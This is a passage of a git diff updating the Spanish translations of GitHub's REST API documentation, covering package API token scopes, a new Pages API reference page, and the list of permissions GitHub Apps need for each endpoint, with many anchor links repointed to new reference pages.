-  - To delete packages and package versions, your token must include the `read:packages` and `delete:packages` scopes.
-  - To restore packages and package versions, your token must include the `read:packages` and `write:packages` scopes.
+Para utilizar esta API, primero tienes que autenticarte utilizando un token de acceso personal.
+  - Para acceder a los metadatos del paquete, tu token debe incluir el alcance `read:packages`.
+  - Para borrar los paquetes y las versiones de paquetes, tu token debe incluir los alcances `read:packages` y `delete:packages`.
+  - Para restablecer los paquetes y sus versiones, tu token debe incluir los alcances de `read:packages` y `write:packages`.
 
-If your `package_type` is `npm`, `maven`, `rubygems`, or `nuget`, then your token must also include the `repo` scope since your package inherits permissions from a {% data variables.product.prodname_dotcom %} repository. If your package is in the {% data variables.product.prodname_container_registry %}, then your `package_type` is `container` and your token does not need the `repo` scope to access or manage this `package_type`. `container` packages offer granular permissions separate from a repository. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)."
+Si tu `package_type` es `npm`, `maven`, `rubygems`, o `nuget`, entonces tu token también debe incluir el alcance `repo`, ya que este hereda los permisos de un repositorio de {% data variables.product.prodname_dotcom %}. Si tu paquete está en el {% data variables.product.prodname_container_registry %}, entonces tu `package_type` es `container` y tu token no necesita el alcance de `repo` para acceder o administrar este `package_type`. Los paquetes de `container` ofrecen permisos granulares separados de un repositorio. Para obtener más información, consulta la sección "[Acerca de los permisos para el {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)".
 
-If you want to use the {% data variables.product.prodname_registry %} API to access resources in an organization with SSO enabled, then you must enable SSO for your personal access token. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+Si quieres utilizar la API del {% data variables.product.prodname_registry %} para acceder a los recursos de una organización con el SSO habilitado, entonces debes habilitar el SSO para tu token de acceso personal. Para obtener más información, consulta la sección "[Autorizar un token de acceso personal para utilizarse con el inicio de sesión único de SAML](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" en la documentación de {% data variables.product.prodname_ghe_cloud %}.{% else %}".{% endif %}
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
diff --git a/translations/es-ES/content/rest/reference/pages.md b/translations/es-ES/content/rest/reference/pages.md
new file mode 100644
index 0000000000..db90bbd45e
--- /dev/null
+++ b/translations/es-ES/content/rest/reference/pages.md
@@ -0,0 +1,32 @@
+---
+title: Pages
+intro: The GitHub Pages API allows you to interact with GitHub Pages sites and build information.
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+La API de {% data variables.product.prodname_pages %} recupera información sobre tu configuración de {% data variables.product.prodname_pages %} y sobre los estados de tus compilaciones. Solo los propietarios autenticados pueden acceder a la información sobre el sitio y sobre las compilaciones{% ifversion not ghae %}, incluso si los sitios web son públicos{% endif %}. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)".
+
+En las terminales de la API de {% data variables.product.prodname_pages %} que llevan una clave de `status` en su respuesta, el valor puede ser uno de entre los siguientes:
+* `null`: El sitio aún tiene que crearse.
+* `queued`: Se solicitó la compilación, pero no ha iniciado.
+* `building`: La compilación está en curso.
+* `built`: Se creó el sitio.
+* `errored`: Indica que ocurrió un error durante la compilación.
+
+En las terminales de la API de {% data variables.product.prodname_pages %} que devulenven información del sitio de GitHub Pages, las respuestas de JSON incluyen estos campos:
+* `html_url`: La URL absoluta (incluyendo el modelo) del sitio de Páginas que se interpretó. Por ejemplo, `https://username.github.io`.
+* `source`: Un objeto que contiene la rama origen y el directorio del sitio de Páginas que se interpretó. Esto incluye:
+   - `branch`: La rama del repositorio que se utilizó para publicar los [archivos de código fuente de tu sitio](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site). Por ejemplo, _main_ o _gh-pages_.
+   - `path`: El directorio del repositorio desde el cual publica el sitio. Podría ser `/` o `/docs`.
+
+{% for operation in currentRestOperations %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
diff --git a/translations/es-ES/content/rest/reference/permissions-required-for-github-apps.md b/translations/es-ES/content/rest/reference/permissions-required-for-github-apps.md
index 388c85781c..8a1f190589 100644
--- a/translations/es-ES/content/rest/reference/permissions-required-for-github-apps.md
+++ b/translations/es-ES/content/rest/reference/permissions-required-for-github-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Permissions required for GitHub Apps
-intro: 'You can find the required permissions for each {% data variables.product.prodname_github_app %}-compatible endpoint.'
+title: Permisos que requieren las Github Apps
+intro: 'Puedes encontrar los permisos que requiere cada terminal compatible con {% data variables.product.prodname_github_app %}.'
 redirect_from:
   - /v3/apps/permissions
 versions:
@@ -11,16 +11,16 @@ versions:
 topics:
   - API
 miniTocMaxHeadingLevel: 3
-shortTitle: GitHub App permissions
+shortTitle: Permisos de las GitHub Apps
 ---
 
-### About {% data variables.product.prodname_github_app %} permissions
+### Acerca de los permisos de las {% data variables.product.prodname_github_app %}
 
-{% data variables.product.prodname_github_apps %} are created with a set of permissions. Permissions define what resources the {% data variables.product.prodname_github_app %} can access via the API. For more information, see "[Setting permissions for GitHub Apps](/apps/building-github-apps/setting-permissions-for-github-apps/)."
+Las {% data variables.product.prodname_github_apps %} se crean un con conjunto de permisos. Los permisos definen a qué recursos puede acceder la {% data variables.product.prodname_github_app %} a través de la API. Para obtener más información, consulta la sección "[Configurar los permisos para las GitHub Apps](/apps/building-github-apps/setting-permissions-for-github-apps/)".
 
-### Metadata permissions
+### Permisos de metadatos
 
-GitHub Apps have the `Read-only` metadata permission by default. The metadata permission provides access to a collection of read-only endpoints with metadata for various resources. These endpoints do not leak sensitive private repository information.
+Las GitHub Apps tienen el permiso de metadatos de `Read-only` predeterminadamente. El permiso de metadatos proporciona acceso a una recopilación de terminales de solo lectura con los metadatos de varios recursos. Estas terminales no filtran información sensible de los repositorios privados.
 
 {% data reusables.apps.metadata-permissions %}
 
@@ -41,18 +41,18 @@ GitHub Apps have the `Read-only` metadata permission by default. The metadata pe
 - [`GET /rate_limit`](/rest/reference/rate-limit#get-rate-limit-status-for-the-authenticated-user)
 - [`GET /repos/:owner/:repo`](/rest/reference/repos#get-a-repository)
 {% ifversion fpt -%}
-- [`GET /repos/:owner/:repo/community/profile`](/rest/reference/repos#get-community-profile-metrics)
+- [`GET /repos/:owner/:repo/community/profile`](/rest/reference/repository-metrics#get-community-profile-metrics)
 {% endif -%}
 - [`GET /repos/:owner/:repo/contributors`](/rest/reference/repos#list-repository-contributors)
 - [`GET /repos/:owner/:repo/forks`](/rest/reference/repos#list-forks)
 - [`GET /repos/:owner/:repo/languages`](/rest/reference/repos#list-repository-languages)
 - [`GET /repos/:owner/:repo/license`](/rest/reference/licenses#get-the-license-for-a-repository)
 - [`GET /repos/:owner/:repo/stargazers`](/rest/reference/activity#list-stargazers)
-- [`GET /repos/:owner/:repo/stats/code_frequency`](/rest/reference/repos#get-the-weekly-commit-activity)
-- [`GET /repos/:owner/:repo/stats/commit_activity`](/rest/reference/repos#get-the-last-year-of-commit-activity)
-- [`GET /repos/:owner/:repo/stats/contributors`](/rest/reference/repos#get-all-contributor-commit-activity)
-- [`GET /repos/:owner/:repo/stats/participation`](/rest/reference/repos#get-the-weekly-commit-count)
-- [`GET /repos/:owner/:repo/stats/punch_card`](/rest/reference/repos#get-the-hourly-commit-count-for-each-day)
+- [`GET /repos/:owner/:repo/stats/code_frequency`](/rest/reference/repository-metrics#get-the-weekly-commit-activity)
+- [`GET /repos/:owner/:repo/stats/commit_activity`](/rest/reference/repository-metrics#get-the-last-year-of-commit-activity)
+- [`GET /repos/:owner/:repo/stats/contributors`](/rest/reference/repository-metrics#get-all-contributor-commit-activity)
+- [`GET /repos/:owner/:repo/stats/participation`](/rest/reference/repository-metrics#get-the-weekly-commit-count)
+- [`GET /repos/:owner/:repo/stats/punch_card`](/rest/reference/repository-metrics#get-the-hourly-commit-count-for-each-day)
 - [`GET /repos/:owner/:repo/subscribers`](/rest/reference/activity#list-watchers)
 - [`GET /repos/:owner/:repo/tags`](/rest/reference/repos#list-repository-tags)
 - [`GET /repos/:owner/:repo/topics`](/rest/reference/repos#get-all-repository-topics)
@@ -72,17 +72,17 @@ GitHub Apps have the `Read-only` metadata permission by default. The metadata pe
 - [`GET /users/:username/repos`](/rest/reference/repos#list-repositories-for-a-user)
 - [`GET /users/:username/subscriptions`](/rest/reference/activity#list-repositories-watched-by-a-user)
 
-_Collaborators_
-- [`GET /repos/:owner/:repo/collaborators`](/rest/reference/repos#list-repository-collaborators)
-- [`GET /repos/:owner/:repo/collaborators/:username`](/rest/reference/repos#check-if-a-user-is-a-repository-collaborator)
+_Colaboradores_
+- [`GET /repos/:owner/:repo/collaborators`](/rest/reference/collaborators#list-repository-collaborators)
+- [`GET /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#check-if-a-user-is-a-repository-collaborator)
 
-_Commit comments_
-- [`GET /repos/:owner/:repo/comments`](/rest/reference/repos#list-commit-comments-for-a-repository)
-- [`GET /repos/:owner/:repo/comments/:comment_id`](/rest/reference/repos#get-a-commit-comment)
+_Comentarios sobre confirmación de cambios_
+- [`GET /repos/:owner/:repo/comments`](/rest/reference/commits#list-commit-comments-for-a-repository)
+- [`GET /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#get-a-commit-comment)
 - [`GET /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-a-commit-comment)
-- [`GET /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/repos#list-commit-comments)
+- [`GET /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/commits#list-commit-comments)
 
-_Events_
+_Eventos_
 - [`GET /events`](/rest/reference/activity#list-public-events)
 - [`GET /networks/:owner/:repo/events`](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
 - [`GET /orgs/:org/events`](/rest/reference/activity#list-public-organization-events)
@@ -95,10 +95,10 @@ _Git_
 - [`GET /gitignore/templates`](/rest/reference/gitignore#get-all-gitignore-templates)
 - [`GET /gitignore/templates/:key`](/rest/reference/gitignore#get-a-gitignore-template)
 
-_Keys_
+_Claves_
 - [`GET /users/:username/keys`](/rest/reference/users#list-public-keys-for-a-user)
 
-_Organization members_
+_Miembros de la organización_
 - [`GET /orgs/:org/members`](/rest/reference/orgs#list-organization-members)
 - [`GET /orgs/:org/members/:username`](/rest/reference/orgs#check-organization-membership-for-a-user)
 - [`GET /orgs/:org/public_members`](/rest/reference/orgs#list-public-organization-members)
@@ -114,7 +114,7 @@ _Search_
 - [`GET /search/users`](/rest/reference/search#search-users)
 
 {% ifversion fpt or ghes or ghec %}
-### Permission on "actions"
+### Permiso sobre las "acciones"
 
 - [`GET /repos/:owner/:repo/actions/artifacts`](/rest/reference/actions#list-artifacts-for-a-repository) (:read)
 - [`GET /repos/:owner/:repo/actions/artifacts/:artifact_id`](/rest/reference/actions#get-an-artifact) (:read)
@@ -138,7 +138,7 @@ _Search_
 - [`GET /repos/:owner/:repo/actions/workflows/:workflow_id/runs`](/rest/reference/actions#list-workflow-runs) (:read)
 {% endif %}
 
-### Permission on "administration"
+### Permiso sobre la "administración"
 
 - [`POST /orgs/:org/repos`](/rest/reference/repos#create-an-organization-repository) (:write)
 - [`PATCH /repos/:owner/:repo`](/rest/reference/repos#update-a-repository) (:write)
@@ -173,7 +173,7 @@ _Search_
 - [`DELETE /repos/:owner/:repo/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository) (:write)
 {% endif -%}
 {% ifversion fpt -%}
-- [`GET /repos/:owner/:repo/pages/health`](/rest/reference/repos#get-a-dns-health-check-for-github-pages) (:write)
+- [`GET /repos/:owner/:repo/pages/health`](/rest/reference/pages#get-a-dns-health-check-for-github-pages) (:write)
 {% endif -%}
 - [`PUT /repos/:owner/:repo/topics`](/rest/reference/repos#replace-all-repository-topics) (:write)
 - [`POST /repos/:owner/:repo/transfer`](/rest/reference/repos#transfer-a-repository) (:write)
@@ -186,73 +186,73 @@ _Search_
 {% ifversion fpt -%}
 - [`DELETE /repos/:owner/:repo/vulnerability-alerts`](/rest/reference/repos#disable-vulnerability-alerts) (:write)
 {% endif -%}
-- [`PATCH /user/repository_invitations/:invitation_id`](/rest/reference/repos#accept-a-repository-invitation) (:write)
-- [`DELETE /user/repository_invitations/:invitation_id`](/rest/reference/repos#decline-a-repository-invitation) (:write)
+- [`PATCH /user/repository_invitations/:invitation_id`](/rest/reference/collaborators#accept-a-repository-invitation) (:write)
+- [`DELETE /user/repository_invitations/:invitation_id`](/rest/reference/collaborators#decline-a-repository-invitation) (:write)
 
-_Branches_
-- [`GET /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/repos#get-branch-protection) (:read)
-- [`PUT /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/repos#update-branch-protection) (:write)
-- [`DELETE /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/repos#delete-branch-protection) (:write)
-- [`GET /repos/:owner/:repo/branches/:branch/protection/enforce_admins`](/rest/reference/repos#get-admin-branch-protection) (:read)
-- [`POST /repos/:owner/:repo/branches/:branch/protection/enforce_admins`](/rest/reference/repos#set-admin-branch-protection) (:write)
-- [`DELETE /repos/:owner/:repo/branches/:branch/protection/enforce_admins`](/rest/reference/repos#delete-admin-branch-protection) (:write)
-- [`GET /repos/:owner/:repo/branches/:branch/protection/required_pull_request_reviews`](/rest/reference/repos#get-pull-request-review-protection) (:read)
-- [`PATCH /repos/:owner/:repo/branches/:branch/protection/required_pull_request_reviews`](/rest/reference/repos#update-pull-request-review-protection) (:write)
-- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_pull_request_reviews`](/rest/reference/repos#delete-pull-request-review-protection) (:write)
-- [`GET /repos/:owner/:repo/branches/:branch/protection/required_signatures`](/rest/reference/repos#get-commit-signature-protection) (:read)
-- [`POST /repos/:owner/:repo/branches/:branch/protection/required_signatures`](/rest/reference/repos#create-commit-signature-protection) (:write)
-- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_signatures`](/rest/reference/repos#delete-commit-signature-protection) (:write)
-- [`GET /repos/:owner/:repo/branches/:branch/protection/required_status_checks`](/rest/reference/repos#get-status-checks-protection) (:read)
-- [`PATCH /repos/:owner/:repo/branches/:branch/protection/required_status_checks`](/rest/reference/repos#update-status-check-protection) (:write)
-- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_status_checks`](/rest/reference/repos#remove-status-check-protection) (:write)
-- [`GET /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/repos#get-all-status-check-contexts) (:read)
-- [`POST /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/repos#add-status-check-contexts) (:write)
-- [`PUT /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/repos#set-status-check-contexts) (:write)
-- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/repos#remove-status-check-contexts) (:write)
-- [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions`](/rest/reference/repos#get-access-restrictions) (:read)
-- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions`](/rest/reference/repos#delete-access-restrictions) (:write)
+_Ramas_
+- [`GET /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#get-branch-protection) (:read)
+- [`PUT /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#update-branch-protection) (:write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection`](/rest/reference/branches#delete-branch-protection) (:write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/enforce_admins`](/rest/reference/branches#get-admin-branch-protection) (:read)
+- [`POST /repos/:owner/:repo/branches/:branch/protection/enforce_admins`](/rest/reference/branches#set-admin-branch-protection) (:write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/enforce_admins`](/rest/reference/branches#delete-admin-branch-protection) (:write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/required_pull_request_reviews`](/rest/reference/branches#get-pull-request-review-protection) (:read)
+- [`PATCH /repos/:owner/:repo/branches/:branch/protection/required_pull_request_reviews`](/rest/reference/branches#update-pull-request-review-protection) (:write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_pull_request_reviews`](/rest/reference/branches#delete-pull-request-review-protection) (:write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/required_signatures`](/rest/reference/branches#get-commit-signature-protection) (:read)
+- [`POST /repos/:owner/:repo/branches/:branch/protection/required_signatures`](/rest/reference/branches#create-commit-signature-protection) (:write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_signatures`](/rest/reference/branches#delete-commit-signature-protection) (:write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/required_status_checks`](/rest/reference/branches#get-status-checks-protection) (:read)
+- [`PATCH /repos/:owner/:repo/branches/:branch/protection/required_status_checks`](/rest/reference/branches#update-status-check-protection) (:write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_status_checks`](/rest/reference/branches#remove-status-check-protection) (:write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/branches#get-all-status-check-contexts) (:read)
+- [`POST /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/branches#add-status-check-contexts) (:write)
+- [`PUT /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/branches#set-status-check-contexts) (:write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/required_status_checks/contexts`](/rest/reference/branches#remove-status-check-contexts) (:write)
+- [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions`](/rest/reference/branches#get-access-restrictions) (:read)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions`](/rest/reference/branches#delete-access-restrictions) (:write)
 - [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/repos#list-teams-with-access-to-the-protected-branch) (:read)
-- [`POST /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/repos#add-team-access-restrictions) (:write)
-- [`PUT /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/repos#set-team-access-restrictions) (:write)
-- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/repos#remove-team-access-restrictions) (:write)
+- [`POST /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/branches#add-team-access-restrictions) (:write)
+- [`PUT /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/branches#set-team-access-restrictions) (:write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions/teams`](/rest/reference/branches#remove-team-access-restrictions) (:write)
 - [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/repos#list-users-with-access-to-the-protected-branch) (:read)
-- [`POST /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/repos#add-user-access-restrictions) (:write)
-- [`PUT /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/repos#set-user-access-restrictions) (:write)
-- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/repos#remove-user-access-restrictions) (:write)
+- [`POST /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/branches#add-user-access-restrictions) (:write)
+- [`PUT /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/branches#set-user-access-restrictions) (:write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions/users`](/rest/reference/branches#remove-user-access-restrictions) (:write)
 {% ifversion fpt or ghes > 3.0 or ghae -%}
-- [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/repos#rename-a-branch) (:write)
+- [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/branches#rename-a-branch) (:write)
 {% endif %}
 
-_Collaborators_
-- [`PUT /repos/:owner/:repo/collaborators/:username`](/rest/reference/repos#add-a-repository-collaborator) (:write)
-- [`DELETE /repos/:owner/:repo/collaborators/:username`](/rest/reference/repos#remove-a-repository-collaborator) (:write)
+_Colaboradores_
+- [`PUT /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#add-a-repository-collaborator) (:write)
+- [`DELETE /repos/:owner/:repo/collaborators/:username`](/rest/reference/collaborators#remove-a-repository-collaborator) (:write)
 
-_Invitations_
-- [`GET /repos/:owner/:repo/invitations`](/rest/reference/repos#list-repository-invitations) (:read)
-- [`PATCH /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/repos#update-a-repository-invitation) (:write)
-- [`DELETE /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/repos#delete-a-repository-invitation) (:write)
+_Invitaciones_
+- [`GET /repos/:owner/:repo/invitations`](/rest/reference/collaborators#list-repository-invitations) (:read)
+- [`PATCH /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/collaborators#update-a-repository-invitation) (:write)
+- [`DELETE /repos/:owner/:repo/invitations/:invitation_id`](/rest/reference/collaborators#delete-a-repository-invitation) (:write)
 
-_Keys_
-- [`GET /repos/:owner/:repo/keys`](/rest/reference/repos#list-deploy-keys) (:read)
-- [`POST /repos/:owner/:repo/keys`](/rest/reference/repos#create-a-deploy-key) (:write)
-- [`GET /repos/:owner/:repo/keys/:key_id`](/rest/reference/repos#get-a-deploy-key) (:read)
-- [`DELETE /repos/:owner/:repo/keys/:key_id`](/rest/reference/repos#delete-a-deploy-key) (:write)
+_Claves_
+- [`GET /repos/:owner/:repo/keys`](/rest/reference/deployments#list-deploy-keys) (:read)
+- [`POST /repos/:owner/:repo/keys`](/rest/reference/deployments#create-a-deploy-key) (:write)
+- [`GET /repos/:owner/:repo/keys/:key_id`](/rest/reference/deployments#get-a-deploy-key) (:read)
+- [`DELETE /repos/:owner/:repo/keys/:key_id`](/rest/reference/deployments#delete-a-deploy-key) (:write)
 
-_Teams_
+_Equipos_
 - [`GET /repos/:owner/:repo/teams`](/rest/reference/repos#list-repository-teams) (:read)
 - [`PUT /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#add-or-update-team-repository-permissions) (:write)
 - [`DELETE /teams/:team_id/repos/:owner/:repo`](/rest/reference/teams#remove-a-repository-from-a-team) (:write)
 
 {% ifversion fpt or ghec %}
-_Traffic_
-- [`GET /repos/:owner/:repo/traffic/clones`](/rest/reference/repos#get-repository-clones) (:read)
-- [`GET /repos/:owner/:repo/traffic/popular/paths`](/rest/reference/repos#get-top-referral-paths) (:read)
-- [`GET /repos/:owner/:repo/traffic/popular/referrers`](/rest/reference/repos#get-top-referral-sources) (:read)
-- [`GET /repos/:owner/:repo/traffic/views`](/rest/reference/repos#get-page-views) (:read)
+_Tráfico_
+- [`GET /repos/:owner/:repo/traffic/clones`](/rest/reference/repository-metrics#get-repository-clones) (:read)
+- [`GET /repos/:owner/:repo/traffic/popular/paths`](/rest/reference/repository-metrics#get-top-referral-paths) (:read)
+- [`GET /repos/:owner/:repo/traffic/popular/referrers`](/rest/reference/repository-metrics#get-top-referral-sources) (:read)
+- [`GET /repos/:owner/:repo/traffic/views`](/rest/reference/repository-metrics#get-page-views) (:read)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### Permission on "blocking"
+### Permiso sobre el "bloqueo"
 
 - [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) (:read)
 - [`GET /user/blocks/:username`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) (:read)
@@ -260,7 +260,7 @@ _Traffic_
 - [`DELETE /user/blocks/:username`](/rest/reference/users#unblock-a-user) (:write)
 {% endif %}
 
-### Permission on "checks"
+### Permiso sobre las "verificaciones"
 
 - [`POST /repos/:owner/:repo/check-runs`](/rest/reference/checks#create-a-check-run) (:write)
 - [`GET /repos/:owner/:repo/check-runs/:check_run_id`](/rest/reference/checks#get-a-check-run) (:read)
@@ -274,7 +274,7 @@ _Traffic_
 - [`GET /repos/:owner/:repo/commits/:sha/check-runs`](/rest/reference/checks#list-check-runs-for-a-git-reference) (:read)
 - [`GET /repos/:owner/:repo/commits/:sha/check-suites`](/rest/reference/checks#list-check-suites-for-a-git-reference) (:read)
 
-### Permission on "contents"
+### Permiso sobre el "contenido"
 
 - [`GET /repos/:owner/:repo/:archive_format/:ref`](/rest/reference/repos#download-a-repository-archive) (:read)
 {% ifversion fpt -%}
@@ -345,37 +345,37 @@ _Traffic_
 - [`GET /repos/:owner/:repo/check-suites/:check_suite_id`](/rest/reference/checks#get-a-check-suite) (:read)
 - [`GET /repos/:owner/:repo/check-suites/:check_suite_id/check-runs`](/rest/reference/checks#list-check-runs-in-a-check-suite) (:read)
 - [`POST /repos/:owner/:repo/check-suites/:check_suite_id/rerequest`](/rest/reference/checks#rerequest-a-check-suite) (:write)
-- [`GET /repos/:owner/:repo/commits`](/rest/reference/repos#list-commits) (:read)
-- [`GET /repos/:owner/:repo/commits/:sha`](/rest/reference/repos#get-a-commit) (:read)
+- [`GET /repos/:owner/:repo/commits`](/rest/reference/commits#list-commits) (:read)
+- [`GET /repos/:owner/:repo/commits/:sha`](/rest/reference/commits#get-a-commit) (:read)
 - [`GET /repos/:owner/:repo/commits/:sha/check-runs`](/rest/reference/checks#list-check-runs-for-a-git-reference) (:read)
 - [`GET /repos/:owner/:repo/commits/:sha/check-suites`](/rest/reference/checks#list-check-suites-for-a-git-reference) (:read)
 - [`GET /repos/:owner/:repo/community/code_of_conduct`](/rest/reference/codes-of-conduct#get-the-code-of-conduct-for-a-repository) (:read)
-- [`GET /repos/:owner/:repo/compare/:base...:head`](/rest/reference/repos#compare-two-commits) (:read)
+- [`GET /repos/:owner/:repo/compare/:base...:head`](/rest/reference/commits#compare-two-commits) (:read)
 - [`GET /repos/:owner/:repo/contents/:path`](/rest/reference/repos#get-repository-content) (:read)
 {% ifversion fpt or ghes or ghae -%}
 - [`POST /repos/:owner/:repo/dispatches`](/rest/reference/repos#create-a-repository-dispatch-event) (:write)
 {% endif -%}
 - [`POST /repos/:owner/:repo/forks`](/rest/reference/repos#create-a-fork) (:read)
-- [`POST /repos/:owner/:repo/merges`](/rest/reference/repos#merge-a-branch) (:write)
+- [`POST /repos/:owner/:repo/merges`](/rest/reference/branches#merge-a-branch) (:write)
 - [`PUT /repos/:owner/:repo/pulls/:pull_number/merge`](/rest/reference/pulls#merge-a-pull-request) (:write)
 - [`GET /repos/:owner/:repo/readme(?:/(.*))?`](/rest/reference/repos#get-a-repository-readme) (:read)
 
-_Branches_
-- [`GET /repos/:owner/:repo/branches`](/rest/reference/repos#list-branches) (:read)
-- [`GET /repos/:owner/:repo/branches/:branch`](/rest/reference/repos#get-a-branch) (:read)
+_Ramas_
+- [`GET /repos/:owner/:repo/branches`](/rest/reference/branches#list-branches) (:read)
+- [`GET /repos/:owner/:repo/branches/:branch`](/rest/reference/branches#get-a-branch) (:read)
 - [`GET /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/repos#list-apps-with-access-to-the-protected-branch) (:write)
-- [`POST /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/repos#add-app-access-restrictions) (:write)
-- [`PUT /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/repos#set-app-access-restrictions) (:write)
-- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/repos#remove-user-access-restrictions) (:write)
+- [`POST /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/branches#add-app-access-restrictions) (:write)
+- [`PUT /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/branches#set-app-access-restrictions) (:write)
+- [`DELETE /repos/:owner/:repo/branches/:branch/protection/restrictions/apps`](/rest/reference/branches#remove-user-access-restrictions) (:write)
 {% ifversion fpt or ghes > 3.0 or ghae -%}
-- [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/repos#rename-a-branch) (:write)
+- [`POST /repos/:owner/:repo/branches/:branch/rename`](/rest/reference/branches#rename-a-branch) (:write)
 {% endif %}
 
-_Commit comments_
-- [`PATCH /repos/:owner/:repo/comments/:comment_id`](/rest/reference/repos#update-a-commit-comment) (:write)
-- [`DELETE /repos/:owner/:repo/comments/:comment_id`](/rest/reference/repos#delete-a-commit-comment) (:write)
+_Comentarios sobre confirmación de cambios_
+- [`PATCH /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#update-a-commit-comment) (:write)
+- [`DELETE /repos/:owner/:repo/comments/:comment_id`](/rest/reference/commits#delete-a-commit-comment) (:write)
 - [`POST /repos/:owner/:repo/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) (:read)
-- [`POST /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/repos#create-a-commit-comment) (:read)
+- [`POST /repos/:owner/:repo/commits/:sha/comments`](/rest/reference/commits#create-a-commit-comment) (:read)
 
 _Git_
 - [`POST /repos/:owner/:repo/git/blobs`](/rest/reference/git#create-a-blob) (:write)
@@ -404,7 +404,7 @@ _Import_
 - [`PATCH /repos/:owner/:repo/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) (:write)
 {% endif %}
 
-_Reactions_
+_Reacciones_
 
